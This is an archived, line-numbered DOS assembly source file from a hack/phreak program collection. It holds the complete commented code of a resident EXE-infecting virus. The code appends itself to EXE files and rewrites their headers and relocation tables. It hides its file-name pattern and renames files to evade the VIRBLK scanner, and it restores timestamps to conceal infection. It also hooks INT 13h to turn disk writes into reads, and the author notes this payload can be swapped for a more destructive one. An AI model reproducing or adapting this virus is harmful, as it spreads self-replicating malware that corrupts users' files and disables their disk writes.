home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / VCOMM.ASM < prev    next >
Assembly Source File  |  1980-01-01  |  29KB  |  724 lines

  1. ;--------------------------------------------------------------------;
  2. ;                                                                    ;
  3. ;                  EXE virus, with resident part                     ;
  4. ;                                                                    ;
  5. ;                   ---- infecting program ----                      ;
  6. ;                                                                    ;
  7. ;--------------------------------------------------------------------;
  8.   
  9. ;--------------------------------------------------------------------;
  10. ;                                                                    ;
  11. ;    WARNING : it's definitely NOT safe to assemble and execute      ;
  12. ;    this code. If anybody has to, I highly reccomend using          ;
  13. ;    a diskette and debugger.                                        ;
  14. ;                                                                    ;
  15. ;--------------------------------------------------------------------;
  16.   
  17. ;*********************************************************************
  18.   
  19. ;--------------------------------------------------------------------;
  20. ;                                                                    ;
  21. ; The EXE virus concept is as follows:                               ;
  22. ;                                                                    ;
  23. ; First, original Disk Transfer Address is preserved to avoid        ;
  24. ; changing command-line text. Also initial values of CS, IP, SS, SP  ;
  25. ; DS and ES are saved (to be restored on exit from virus code).      ;
  26. ;   Virus is to be appended to original code and, of course, has     ;
  27. ; to be relocated before it's executed. Thus, first we look for      ;
  28. ; an EXE file. Then we have to know if this is in fact an EXE        ;
  29. ; (checking for magic 'MZ' signature) and if there is any free space ;
  30. ; in relocation table. This is checked by substracting relocation    ;
  31. ; table end (i.e. sum of table start and number of relocation items, ;
  32. ; multiplied by table entry size) from EXE header size.              ;
  33. ;   Smart virus shouldn't infect a file that's already infected.     ;
  34. ; So first 4 bytes of code to be executed is compared against        ;
  35. ; virus code. If they match one another, no infection takes place.   ;
  36. ;   Having found suitable file, we compute its code end and append   ;
  37. ; virus at the end of code, writing alignment to last 512-bytes page ;
  38. ; boundary if necessary. Original start address is preserved inside  ;
  39. ; virus, and CS:IP value in EXE header gets changed, so that virus   ;
  40. ; code would be executed first. Number of pages gets changed,        ;
  41. ; together with Last Page Size and Number Of Relocation Items.       ;
  42. ;   New relocation item address is appended to relocation table,     ;
  43. ; pointing to the segment of the far jump in virus (this is the jump ;
  44. ; virus uses to return to original code).                            ;
  45. ;   Upon returning from virus, all saved registers and DTA are       ;
  46. ; restored to reestablish environment state as if no virus existed.  ;
  47. ;                                                                    ;
  48. ;   Virus also installs resident part, if it is not already present. ;
  49. ; This part's job is to replace all disk 'writes' with corresponding ;
  50. ; 'reads'. It's rather unharmful, but can easily be replaced with    ;
  51. ; more dangerous one (if somebody is really keen to be called ...).  ;
  52. ; Instalation can be removed with equal ease, as well.               ;
  53. ;                                                                    ;
  54. ;   The real trouble with EXEs is that DOS pays a little (if any)    ;
  55. ; attention to Last Page Size. Therefore EXE files ofen have this    ;
  56. ; zeroed, even if they have some code on the last page. Writing to   ;
  57. ; last page can cause system crash while infected file is being      ;
  58. ; executed. To solve the problem, one should first test if EXE file  ;
  59. ; really ends as the header contents say and move to last page end   ;
  60. ; instead of appending any bytes, if possible.                       ;
  61. ;                                                                    ;
  62. ;   Another problem is infecting EXEs containg debug info.           ;
  63. ; It comes in various formats, and often contains vital informations ;
  64. ; placed behind code. This info gets destroyed when file becomes     ;
  65. ; infected. I see no solution to this problem, so far.               ;
  66. ;                                                                    ;
  67. ;--------------------------------------------------------------------;
  68.   
  69. ;********************************************************************;
  70.   
  71. ;--------------------------------------------------------------------;
  72. ;                                                                    ;
  73. ;                        SEGMENT dummy                               ;
  74. ;                                                                    ;
  75. ;   Raison d'etre of this segment is to force assembling of          ;
  76. ;   the JMP FAR after the execution of virus code.                   ;
  77. ;                                                                    ;
  78. ;   This segment serves also to make it possible for the infecting   ;
  79. ;   program to return to DOS.                                        ;
  80. ;                                                                    ;
  81. ;--------------------------------------------------------------------;
  82.   
  83.   
  84.     dummy    segment  'dummy'
  85.   
  86.              assume cs: dummy
  87.   
  88.     d_end    label far          ; this is the point virus jumps to
  89.                                 ; after executing itself
  90.              mov  ah, 4Ch
  91.              int  21h           ; DOS EXIT function
  92.   
  93.     dummy    ends
  94.   
  95. ;--------------------------------------------------------------------;
  96. ;                                                                    ;
  97. ;                        SEGMENT code                                ;
  98. ;                                                                    ;
  99. ;   Code for virus (including its resident part).                    ;
  100. ;                                                                    ;
  101. ;   Executed from label start:. Exits via dummy:d_end.               ;
  102. ;                                                                    ;
  103. ;--------------------------------------------------------------------;
  104.   
  105.     code     segment  'code'
  106.   
  107.              public   start, jump, old_IP, old_CS, old_DTA,
  108.              public   next, ok, exit, header, DTA, file_name, old_SS, old_SP, aux
  109.              public   last_page, page_count, item_count, header_size, table_start
  110.              public   header_IP, header_CS, header_SS, header_SP, aux_CS, aux_IP
  111.              public   not_ok, time, date, attributes, new_name, found_name
  112.              public   restore_and_close, dot, seek_dot, next_letter, install_flag
  113.              public   next_lttr, EXE_sign, int_CS, int_IP, virus_length, set_ES
  114.              public   resident, resident_size, l1, call_int, install, set_DS
  115.   
  116.              assume   cs : code, ds : code
  117.   
  118. ;--------------------------------------------------------------------;
  119. ;                                                                    ;
  120. ;          Here are symbolic names for memory locations              ;
  121. ;                                                                    ;
  122. ;--------------------------------------------------------------------;
  123.   
  124. ;  First go names for EXE header contents
  125.   
  126.     EXE_sign     equ  word ptr [header]
  127.     last_page    equ  word ptr [header + 2]
  128.     page_count   equ  word ptr [header + 4]
  129.     item_count   equ  word ptr [header + 6]
  130.     header_size  equ  word ptr [header + 8]
  131.     header_SS    equ  word ptr [header + 0Eh]
  132.     header_SP    equ  word ptr [header + 10h]
  133.     header_IP    equ  word ptr [header + 14h]
  134.     header_CS    equ  word ptr [header + 16h]
  135.     table_start  equ  word ptr [header + 18h]
  136.   
  137. ;  Now names for address of mother program
  138.   
  139.     old_IP       equ  word ptr [jump + 1]
  140.     old_CS       equ  word ptr [jump + 3]
  141.   
  142. ;  Segment to put resident part in, for instance end of 2nd Hercules page
  143.   
  144.    resident_CS   equ  0BFFEh
  145.   
  146. ;  And label for the name of the file found by  Find_First and Find_Next
  147.   
  148.     found_name   equ  DTA + 1Eh
  149.   
  150. ;  Last is virus length
  151.   
  152.     virus_length equ  offset header
  153.   
  154. ;------------ Now starts virus code --------------------------------;
  155.  
  156. ;  First original values of SS, SP, ES, DS are preserved,
  157. ;  and new values for this registers are set
  158.   
  159.     start:   mov  cx, ss            ; temporarily save SS in CX
  160.              mov  dx, sp            ; and SP in DX
  161.   
  162.              mov  ax, cs            ; now AX = CODE
  163.              cli                    ; disable hard ints while changing stack
  164.              mov  ss, ax            ; now SS = CODE
  165.              mov  sp, 0FFFFh        ; and SS points to segment end
  166.              sti                    ; hardware interrupts are OK now
  167.   
  168.              push ds                ; preserve DS on stack
  169.              push es                ; same with ES
  170.   
  171.              push cs
  172.              pop  ds                ; set DS to CODE
  173.   
  174.              mov  [old_SS], cx      ; now as DS is CODE, we can store
  175.              mov  [old_SP], dx      ; original SS and SP in memory
  176.   
  177. ;  Original DTA is preserved now
  178.   
  179.              mov  ah, 2Fh
  180.              int  21h
  181.              mov  word ptr [old_DTA], bx      ; now ES:BX points to DTA
  182.              mov  word ptr [old_DTA + 2], es  ; save its address in memory
  183.   
  184. ;  Call to Get_DTA would have destroyed ES. Now set it
  185.   
  186.              push ds              ; set  ES to CODE
  187.              pop  es
  188.   
  189. ;  And now new DTA is established for virus disk actions
  190.   
  191.              mov  dx, offset DTA  ; DS:DX point to new DTA
  192.              mov  ah, 1Ah
  193.              int  21h
  194.   
  195. ;  Store original INT_13 vector for use in resident part
  196.   
  197.              mov  ax, 3513h
  198.              int  21h            ; DOS Get_Interrupt_Vector function
  199.  
  200.              mov  [int_IP], bx   ; now ES:BX holds INT_13 vector
  201.              mov  [int_CS], es   ; store it inside resident part
  202.   
  203. ;  Check if resident part already present
  204.   
  205.              mov  ax, es           ; compare can work with AX
  206.   
  207.              cmp  ax, resident_CS  ; check if this is resident_CS
  208.              jnz  install          ; no, so install
  209.   
  210.              cmp  bx, 0            ; is offset 0 ?
  211.              jnz  install          ; no, so install
  212.   
  213. ;  Resident part found, do not install
  214.   
  215.              mov  [install_flag], 0 ; signal 'no installing'
  216.   
  217.              jmp  short  set_ES     ; and omit copying code
  218.   
  219. ;  Now resident part is moved to its place in memory
  220.   
  221. install:     mov  ax, resident_CS
  222.              mov  es, ax              ; ES = segment for resident part
  223.              xor  di, di              ; DI = 0, resident starts from offset 0
  224.              mov  si, offset resident ; SI = offset in DS for resident part
  225.              mov  cx, resident_size   ; CX = size of resident part
  226.   
  227.              cld                      ; set auto increment
  228.              rep  movsb               ; copy resident part from DS:SI to ES:DI
  229.   
  230.              mov  [install_flag], 1   ; signal 'instal vector'
  231.   
  232. ;  Reestablish destroyed ES to CODE
  233.   
  234.   set_ES:    push ds
  235.              pop  es
  236.   
  237. ;  Now decode "*.EXE" name pattern. It's coded to disable 'eye-shot' discovery
  238.   
  239.              mov  si, offset file_name   ; name pattern starts there
  240.              mov  cx, 5                  ; and is 5 bytes long
  241.   
  242. next_letter: inc  byte ptr [si]          ; decode by incrementing by one
  243.              inc  si
  244.              loop next_letter            ; decode all 5 bytes
  245.   
  246. ;  Find an EXE file
  247.   
  248.              mov  dx, offset file_name   ; DS:DX points to '*.EXE'
  249.              mov  cx, 20h                ; search for read-only files too
  250.   
  251.              mov  ah, 4Eh                ; DOS Find_First function
  252.              int  21h                    ; now DTA gets filled with info
  253.   
  254.              jnc  check                  ; no carry means file found
  255.                                          ; jump to check if to infect file
  256.   
  257.              jmp  exit                   ; no EXE file - nothing to do
  258.   
  259. ;  Find next EXE file, if necessary
  260.   
  261.     next:    mov  ah, 4Fh                ;DOS Find_Next function
  262.              int  21h
  263.   
  264.              jnc  check                  ; see jumps after Find_First
  265.              jmp  exit                   ; for explanation
  266.   
  267. ;  Check if file should and can be infected
  268.   
  269. ;  First of all, get file attributes
  270.   
  271.     check:   mov  dx, offset found_name   ; DS:DX points to found file name
  272.   
  273.              mov  ax, 4300h               ; DOS Get_File_Attributes function
  274.              int  21h                     ; attributes returned in CX
  275.   
  276.              mov  [attributes], cx        ; preserve them in memory
  277.   
  278. ;  Then change file attributes to 'neutral'
  279.   
  280.              mov  dx, offset found_name   ; DS:DX points to found file name
  281.              xor  cx, cx                  ; CX = 0 - means no attributes set
  282.   
  283.              mov  ax, 4301h               ; DOS Set_File_Attributes function
  284.              int  21h                     ; attributes to be set in CX
  285.   
  286. ;  To avoid being spotted by VIRBLK, rename ????????.EXE to ???????.
  287.   
  288.              mov  si, offset found_name   ; DS:DX points to found file name
  289.              mov  di, offset new_name     ; ES:DI points to new name
  290.   
  291.              cld                          ; set auto increment
  292.   
  293. ;  Copy old name to new name until dot found
  294.   
  295.   seek_dot:  lodsb                        ; get character at DS:SI
  296.              cmp  al, '.'                 ; check if it is a dot
  297.              stosb                        ; copy it anyway to ES:DI
  298.   
  299.              jz   dot                     ; dot found, end of copying
  300.   
  301.              loop seek_dot                ; if no dot, copy next character
  302.   
  303. ;  DOS requires ASCIIZ strings, so append a byte of 0 to new name
  304.   
  305.        dot:  xor  al, al                  ; AL = 0
  306.              stosb                        ; store 0 to byte at ES:DI
  307.   
  308. ;  Now rename can be performed
  309.   
  310.              mov  dx, offset found_name   ; DS:DX points to old name
  311.              mov  di, offset new_name     ; ES:DI points to new name
  312.   
  313.              mov  ah, 56h                 ; DOS Rename_File function
  314.              int  21h
  315.   
  316. ;  It is safe to open file now
  317.   
  318.              mov  dx, offset new_name     ; DS:DX points to file name
  319.   
  320.              mov  ax, 3D02h               ; DOS Open_File_Handle fuction
  321.              int  21h                     ; open file for reading and writing
  322.   
  323.              jc   next                    ; carry set means for some reason
  324.                                           ; operation failed
  325.                                           ; try to find next file
  326.   
  327. ;  Preserve handle for just open file in BX register
  328.   
  329.              mov  bx, ax                  ; all DOS calls require handle in BX
  330.   
  331. ;  Now store original file time and date, to be restored on closing the file
  332.   
  333.              mov  ax, 5700h               ; DOS Get_File_Time_Date function
  334.              int  21h                     ; time returned in CX, date in DX
  335.   
  336.              mov  [time], cx              ; store time in memory
  337.              mov  [date], dx              ; same with date
  338.   
  339. ;  Read EXE header to memory
  340.   
  341.              mov  dx, offset header       ; DS:DX = place to read header to
  342.              mov  cx, 1Ah                 ; header is 1Ah bytes long
  343.   
  344.              mov  ah, 3Fh                 ; DOS Read_Handle function
  345.              int  21h
  346.   
  347. ;  Check if it is a real EXE, not just EXE-named file
  348.   
  349.  check_EXE:  cmp  EXE_sign, 5A4Dh         ; first two bytes of header should
  350.                                           ; contain 'MZ' characters
  351.   
  352.          jne  not_ok                  ; if not, don't proceed with file
  353.   
  354. ;  It is EXE, check if it is already infected
  355. ;  by comparing code start with itself
  356.   
  357. ;  Compute where code in file starts
  358.   
  359.              mov  ax, [header_CS]         ; get start CS for file
  360.              add  ax, [header_size]       ; add header size
  361.   
  362.              mov  cx, 16                  ; above were in 16 bytes units
  363.              mul  cx                      ; so multiply by 16
  364.                                           ; DX|AX holds result
  365.   
  366.              add  ax, [header_IP]         ; add for IP
  367.              adc  dx, 0                   ; propagate carry if necessasry
  368.   
  369. ;  Now DX|AX holds file offset for code start, move there
  370.   
  371.              mov  cx, dx                  ; set registers for DOS call
  372.              mov  dx, ax
  373.   
  374.              mov  ax, 4200h               ; DOS Move_File_Ptr function
  375.              int  21h                     ; move relatively to start
  376.   
  377. ;  Read first four bytes of code
  378.   
  379.              mov  dx, offset aux          ; DS:DX = place to read code into
  380.              mov  cx, 4                   ; CX = number of bytes to read
  381.   
  382.              mov  ah, 3Fh                 ; DOS Read_Handle function
  383.              int  21h
  384.   
  385. ;  Compare them with itself
  386.   
  387.              mov  di, offset aux          ; ES:DI points to code from file
  388.              mov  si, offset start        ; DS:SI points to itself start
  389.              mov  cx, 2                   ; CX = number of words to compare
  390.              cld                          ; set auto increment
  391.   
  392.              repe cmpsw                   ; compare while equal
  393.   
  394.              je   not_ok                  ; equal = infected, don't proceed
  395.   
  396. ;  Check if there is space in relocation table to put one more item
  397.   
  398. ;  Calculate where Relocation_Table ends
  399.   
  400.              mov  ax, [item_count]        ; get number of Relocation Items
  401.              inc  ax                      ; add for new one
  402.              mov  cx, 4                   ; each one is 4 bytes long
  403.              mul  cx                      ; so multiply by 4
  404.                                           ; DX|AX holds result
  405.   
  406.              add  ax, [table_start]       ; add offset of Relocation_Table
  407.              adc  dx, 0                   ; process carry
  408.   
  409. ;  Now DX|AX holds file offset for table end, store it temporarily in DI|SI
  410.   
  411.              mov  di, dx                  ; preserve Relocation_Table offset
  412.              mov  si, ax
  413.   
  414. ;  Calculate where code starts (in file)
  415.   
  416.              mov  ax, [header_size]       ; get header size for this EXE
  417.              mov  cx, 10h                 ; as it is in 16 byte units,
  418.              mul  cx                      ; multiply by 16
  419.                                           ; DX|AX holds result
  420.   
  421. ;  See if there is free space for relocation item
  422.   
  423.              sub  ax, si                  ; substract Relocation_Table end
  424.              sbb  dx, di
  425.   
  426.              jae  ok                      ; Relocation_Table end not less
  427.                                           ; then code start, so there IS room
  428.   
  429. ;  If somehow this file is not to be infected, restore it's original state
  430.   
  431.     not_ok:  call restore_and_close
  432.   
  433.              jmp  next          ; nevertheless, try to find infectable one
  434.   
  435. ;  File is to be infected now
  436.   
  437. ;  First adjust file offset for new relocation item
  438.   
  439.     ok:      sub  si, 4                   ; new item starts 4 bytes
  440.              sbb  di, 0                   ; before Relocation_Table end
  441.   
  442. ;  Then preserve temporarily address of the mother code
  443.   
  444.              mov  ax, [old_CS]           ; preserve jump address via AX
  445.              mov  [aux_CS], ax           ; in memory
  446.              mov  ax, [old_IP]
  447.              mov  [aux_IP], ax
  448.   
  449. ;  Form inside itself a jump to new mother start
  450.   
  451.              mov  ax, [header_IP]        ; store new mother CS:IP as jump
  452.              mov  [old_IP], ax           ; do it via AX
  453.              mov  ax, [header_CS]
  454.              mov  [old_CS], ax
  455.   
  456. ;  Calculate last page alignment
  457.   
  458.              mov  cx, [last_page]         ; CX = number of bytes in last page
  459.              mov  ax, 200h                ; AX = page size (page is 512 bytes)
  460.   
  461.              sub  ax, cx                  ; CX = alignment to page boundary
  462.   
  463.              mov  bp, ax                  ; preserve alignment in BP
  464.   
  465. ; Calculate new CS:IP values to execute virus instead of mother
  466.   
  467.              mov  ax, [page_count]        ; get number of pages in new mother
  468.              mov  cx, 20h                 ; multiply by 32 to convert to
  469.              mul  cx                      ; 16 bytes units
  470.   
  471.              sub  ax, [header_size]       ; decrease by header size
  472.   
  473. ;  Modify header as necessary
  474.   
  475.              mov  [header_CS], ax         ; AX holds CS for virus
  476.              xor  ax, ax                  ; now zero AX
  477.              mov  [header_IP], ax         ; as IP for virus is 0
  478.   
  479.              add  [page_count], 2         ; reserve space for virus
  480.   
  481.              inc  [item_count]            ; there'll be one more item
  482.   
  483.              mov  [last_page], offset header   ; last page will be as long
  484.                                                ; as virus itself
  485.              and  [last_page], 1FFh            ; modulo 512, of course
  486.   
  487. ;  Move to file start
  488.   
  489.              xor  cx, cx                 ; start means offset 0
  490.              xor  dx, dx
  491.   
  492.              mov  ax, 4200h              ; DOS Move_File_Ptr function
  493.              int  21h                    ; move relatively to start
  494.   
  495. ;  Write new header
  496.   
  497.              mov  dx, offset header      ; DS:DX points to new header
  498.              mov  cx, 1Ah                ; which is still 1A bytes long
  499.   
  500.              mov  ah, 40h                ; DOS Write_Handle function
  501.              int  21h
  502.   
  503. ;  Move to new Relocation Item position
  504.   
  505.              mov  cx, di                 ; get stored position from DI|SI
  506.              mov  dx, si
  507.   
  508.              mov  ax, 4200h              ; DOS Move_File_Ptr function
  509.              int  21h                    ; move relatively to start
  510.   
  511. ;  Write new relocation item
  512.   
  513.              mov  [header_IP], offset old_CS ; new Relocation Item offset
  514.                                              ; is jump to new mother code
  515.   
  516.              mov  dx, offset header_IP       ; DS:DX = new relocation item
  517.              mov  cx, 4                      ; exactly 4 bytes long
  518.   
  519.              mov  ah, 40h                 ; DOS Write_Handle function
  520.              int  21h
  521.   
  522. ;  Calculate file offset for new mother code end
  523.   
  524.              mov  ax, [header_CS]      ; get mother code lenght
  525.              add  ax, [header_size]    ; add header size
  526.              mov  cx, 10h              ; it's in 16 bytes units
  527.              mul  cx                   ; so multiply by 16
  528.   
  529.              sub  ax, bp               ; last page is not full
  530.              sbb  dx, 0                ; so move back appropirately
  531.   
  532. ;  Move file ptr to mother code end
  533.   
  534.              mov  cx, dx               ; DX|AX = file offset to code end
  535.              mov  dx, ax               ; set CX|DX for DOS call
  536.   
  537.              mov  ax, 4200h            ; DOS Move_File_Ptr function
  538.              int  21h                  ; move relatively to start
  539.   
  540. ;  Write alignement (no matter what, only number is important)
  541.   
  542.              mov  cx, bp               ; get alignement amount
  543.   
  544.              mov  ah, 40h              ; DOS Write_Handle function
  545.              int  21h                  ; write CX bytes
  546.   
  547. ;  Now prepare to append itself to EXE file
  548.   
  549. ;  First encode EXE name patter anew
  550.   
  551.              mov  si, offset file_name   ; DS:SI points to name pattern
  552.              mov  cx, 5                  ; it is 5 characters long
  553.   
  554. next_lttr:   dec  byte ptr [si]          ; encode by decrement
  555.              inc  si
  556.              loop next_lttr              ; encode all 5 characters
  557.   
  558. ;  All ready, append itself now
  559.   
  560.              xor  dx, dx                 ; DX = 0, start offset for virus code
  561.              mov  cx, virus_length       ; CX = number of bytes to write
  562.   
  563.              mov  ah, 40h                ; DOS Write_Handle function
  564.              int  21h
  565.   
  566. ;  No further action involving file will be taken, so restore it's state
  567.   
  568.              call restore_and_close      ; restore date and time, close file
  569.   
  570. ;  Restore jump to this mother code
  571.   
  572.              mov  ax, [aux_CS]         ; restore jump addres via AX
  573.              mov  [old_CS], ax
  574.              mov  ax, [aux_IP]
  575.              mov  [old_IP], ax
  576.   
  577. ;  All done with infecting, prepare to execute mother
  578.   
  579. ;  Restore original DTA
  580.   
  581.              push ds                   ; preserve DS (now DS = CODE)
  582.   
  583.     exit:    lds  dx, old_DTA          ; get original DTA address to DS:DX
  584.   
  585.              mov  ah, 1Ah              ; DOS Set_DTA function
  586.              int  21h
  587.   
  588. ;  Check if install new INT_13 vector
  589.   
  590.              cmp  [install_flag], 0    ; 0 means no installing
  591.   
  592.              jz   set_DS               ; omit installing
  593.   
  594. ;  Install  resident part
  595.   
  596.              mov  ax, resident_CS      ; load CS for resident to DS (via AX)
  597.              mov  ds, ax
  598.              xor  dx, dx               ; DS:DX = address of resident part
  599.   
  600.              mov  ax, 2513h            ; DOS Set_Interrupt_Vector function
  601.              int  21h                  ; set vector for INT_13
  602.   
  603. set_DS:      pop  ds                   ; restore DS to CODE
  604.   
  605.              mov  bx, [old_SS]         ; BX = original SS
  606.              mov  cx, [old_SP]         ; CX = original SP
  607.   
  608.              pop  es                   ; restore original DS and ES
  609.              pop  ds
  610.   
  611.              cli                       ; disable hardware interrupts
  612.              mov  sp, cx               ; while restoring original SS:SP
  613.              mov  ss, bx
  614.              sti                       ; enable hardware interrupts
  615.   
  616. ;  Virus has done all its job, now let mother do its own
  617.   
  618.     jump:    jmp  dummy:d_end          ; jump to original code
  619.   
  620.   
  621. ;-----------  here is the one and only procedure -------------------;
  622.   
  623.     restore_and_close  proc  near
  624.   
  625. ;  Restore original file time and date
  626.   
  627.              mov  cx, [time]           ; get saved time
  628.              mov  dx, [date]           ; get saved date
  629.   
  630.              mov  ax, 5701h               ; DOS Set_File_Time_Date function
  631.              int  21h                     ; time set as CX, date as DX
  632.   
  633. ;  Close file
  634.   
  635.              mov  ah, 3Eh              ; DOS Close_File function
  636.              int  21h
  637.   
  638. ;  Restore original name
  639.   
  640.              mov  dx, offset new_name    ; DS:DX points to new name
  641.              mov  di, offset found_name  ; ES:DI points to original name
  642.   
  643.              mov  ah, 56h                 ; DOS Rename_File function
  644.              int  21h
  645.   
  646. ; Restore original file attributes
  647.   
  648.              mov  dx, offset found_name   ; restore attributes
  649.              mov  cx, [attributes]
  650.   
  651.              mov  ax, 4301h               ; DOS Set_File_Attributes function
  652.              int  21h                     ; attributes set as CX
  653.   
  654.              ret
  655.   
  656.     restore_and_close  endp
  657.   
  658.   
  659. ;------------ and here go the resident part of the virus -------------;
  660.   
  661. resident:    pushf                   ; save flags
  662.   
  663.              cmp  ah, 3              ; is it Disk_Write_1 ?
  664.              jnz l1                  ; no, check Disk_Write_2
  665.   
  666.              mov  ah, 2              ; yes, convert to Disk_Read_1
  667.              jmp  short  call_int    ; and exit resident
  668.   
  669.       l1:    cmp  ah, 0Bh            ; is it Disk_Write_2 ?
  670.              jnz  call_int           ; no, exit resident
  671.   
  672.              mov  ah, 0Ah            ; yes, convert to Disk_Read_2
  673.   
  674. call_int:    popf                    ; restore flags
  675.   
  676.   
  677. ;  Next 5 bytes form long jump to original INT_13 handler
  678.   
  679.              db   0EAh               ; means JMP FAR
  680.   
  681. int_IP       dw   0                  ; and here the address to jump to
  682. int_CS       dw   0
  683.   
  684. resident_size  equ  $ - resident
  685.   
  686. ;-------- now data for virus, just encoded file name pattern -------;
  687.   
  688.     file_name  db  ')-DWD', 0
  689.   
  690. ;-------------------------------------------------------------------;
  691. ;                                                                   ;
  692. ;         Here VIRUS ends. The rest are purely placeholders         ;
  693. ;                                                                   ;
  694. ;-------------------------------------------------------------------;
  695.   
  696. ;*******************************************************************;
  697.  
  698.     header   dw   13 dup (0)
  699.  
  700.     old_SS   dw   0
  701.     old_SP   dw   0
  702.  
  703.     aux_CS   dw   0
  704.     aux_IP   dw   0
  705.  
  706.     old_DTA  dd   0
  707.  
  708.     time     dw   0
  709.     date     dw   0
  710.  
  711.     attributes  dw  0
  712.  
  713.     install_flag db 0
  714.  
  715.     new_name    db  9 dup (0)
  716.  
  717.     DTA      dw   2Ch dup (0)
  718.  
  719.     aux      dw   2 dup (0)
  720.  
  721.     code     ends
  722.  
  723.              end  start
  724.